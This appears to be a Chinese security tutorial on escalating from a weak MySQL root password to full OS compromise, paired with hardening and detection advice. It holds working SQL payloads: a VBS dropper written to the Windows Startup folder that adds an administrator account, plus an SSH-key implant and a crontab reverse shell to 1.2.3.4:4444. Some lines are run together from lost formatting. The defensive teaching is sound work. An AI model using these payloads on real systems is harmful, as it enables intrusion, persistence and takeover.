本文僅供安全研究、防禦部署、合規審計參考。嚴禁用於未授權系統滲透測試或非法攻擊。請遵守《網絡安全法》《計算機信息網絡國際聯網安全保護管理辦法》等法律法規。
攻擊利用三個條件的**同時滿足**:
secure_file_priv 為空或目錄可寫:允許 SELECT ... INTO OUTFILE 寫任意路徑mysql -u root -h 192.168.0.1 -p # 弱口令登錄
mysql> SHOW DATABASES; -- 確認權限範圍
mysql> USE test; -- 進入默認測試庫(通常有寫權限)
mysql> SHOW TABLES;
CREATE TABLE payload (cmd TEXT);
-- 寫入 VBS 腳本片段(創建管理員用戶並加入 Administrators 組)
INSERT INTO payload VALUES ('Set wshShell = CreateObject("WScript.Shell")');
INSERT INTO payload VALUES ('a = wshShell.Run("cmd.exe /c net user hacker P@ssw0rd /add", 0)');
INSERT INTO payload VALUES ('b = wshShell.Run("cmd.exe /c net localgroup Administrators hacker /add", 0)');
0 參數 = 隱藏窗口執行SELECT * FROM payload
INTO OUTFILE 'C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\evil.vbs'
CHARACTER SET gbk; -- Windows 中文路徑需匹配字符集
下次管理員登錄時,腳本自動執行 → 獲得系統最高權限。
| 環節 | MySQL 預設行為 | 風險放大器 |
|---|---|---|
| 安裝默認 | Root 無密/弱密、開放 3306、test 庫可寫 | 開箱即用的攻擊面 |
secure_file_priv | 5.6 前默認空(允許任意路徑);5.6+ 默認限制目錄但常被改回空 | INTO OUTFILE 任意寫文件 |
| Windows 啟動目錄 | 所有用戶啟動目錄默認可寫 | 無需提權即可種植持久化 |
| VBS 執行 | 雙擊/啟動自動由 wscript.exe 解析運行 | 繞過 PowerShell 執行策略、殺毒靜態查殺 |
DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost','127.0.0.1','::1'); FLUSH PRIVILEGES;validate_password 組件強制策略REQUIRE SSL、ssl_ca/ssl_cert/ssl_key[mysqld]
# 禁用 LOCAL INFILE(客戶端讀取本地文件上傳)
local_infile = 0
# 限制 INTO OUTFILE 目錄(必須設置,不可留空)
secure_file_priv = /var/lib/mysql-files/
# 禁用不需要的功能
skip_show_database -- 禁止無權限用戶 SHOW DATABASES
skip_symbolic_links -- 禁用符號鏈接(防目錄遍歷)
MariaDB Audit Plugin 或 MySQL Enterprise Audit,記錄所有登錄、DDL、DML、INTO OUTFILE 操作-- 監控疑似攻擊 SQL
SELECT * FROM mysql.general_log
WHERE argument LIKE '%INTO OUTFILE%'
OR argument LIKE '%CreateObject%'
OR argument LIKE '%WScript.Shell%';
-- 寫入 SSH 公鑰
SELECT 'ssh-rsa AAAAB3NzaC1yc2E... attacker@evil'
INTO OUTFILE '/root/.ssh/authorized_keys';
-- 寫入 Crontab 反彈 Shell
SELECT '* * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'
INTO OUTFILE '/var/spool/cron/root';
同理,**secure_file_priv 必須鎖定**、**Root 禁用密碼登錄(強制密鑰)**、**目錄權限最小化**。
MySQL Root 弱口令 + INTO OUTFILE 任意寫文件 = **從數據庫到操作系統的完全失陷**。這不是漏洞,是**配置失誤的必然結果**。安全無小事:**強密碼、網絡隔離、能力收斂、審計告警、應急演練**,五位一體,構建纵深防御體系,才能讓攻擊者「無門可入、有門難攻、攻了難藏、藏了難跑」。